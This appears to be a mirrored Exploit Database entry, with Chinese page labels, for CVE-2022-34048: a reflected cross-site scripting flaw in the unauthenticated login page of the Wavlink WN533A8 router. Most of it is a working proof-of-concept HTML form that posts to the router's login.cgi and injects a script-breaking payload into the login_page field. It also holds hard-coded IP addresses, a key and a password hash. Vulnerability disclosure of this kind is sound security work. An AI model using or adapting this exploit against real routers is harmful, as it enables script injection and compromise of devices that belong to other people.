Wavlink WN533A8 – Cross-Site Scripting (XSS)

Exploit Database
118 阅读

作者： Ahmed Alroky

日期： 2022-08-01
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/50989/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

# Exploit Title: Wavlink WN533A8 - Cross-Site Scripting (XSS)

# Exploit Author: Ahmed Alroky

# Author Company : AIactive

# Version: M33A8.V5030.190716

# Vendor home page : wavlink.com

# Authentication Required: No

# CVE : CVE-2022-34048

# Tested on: Windows

# Poc code

<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="http://IP_ADDRESS/cgi-bin/login.cgi" method="POST">

<input type="hidden" name="newUI" value="1" />

<input type="hidden" name="page" value="login" />

<input type="hidden" name="username" value="admin" />

<input type="hidden" name="langChange" value="0" />

<input type="hidden" name="ipaddr" value="196.219.234.10" />

<input type="hidden" name="login_page" value="x");alert(9);x=("" />

<input type="hidden" name="homepage" value="main.shtml" />

<input type="hidden" name="sysinitpage" value="sysinit.shtml" />

<input type="hidden" name="wizardpage" value="wiz.shtml" />

<input type="hidden" name="hostname" value="59.148.80.138" />

<input type="hidden" name="key" value="M94947765" />

<input type="hidden" name="password" value="ab4e98e4640b6c1ee88574ec0f13f908" />

<input type="hidden" name="lang_select" value="en" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>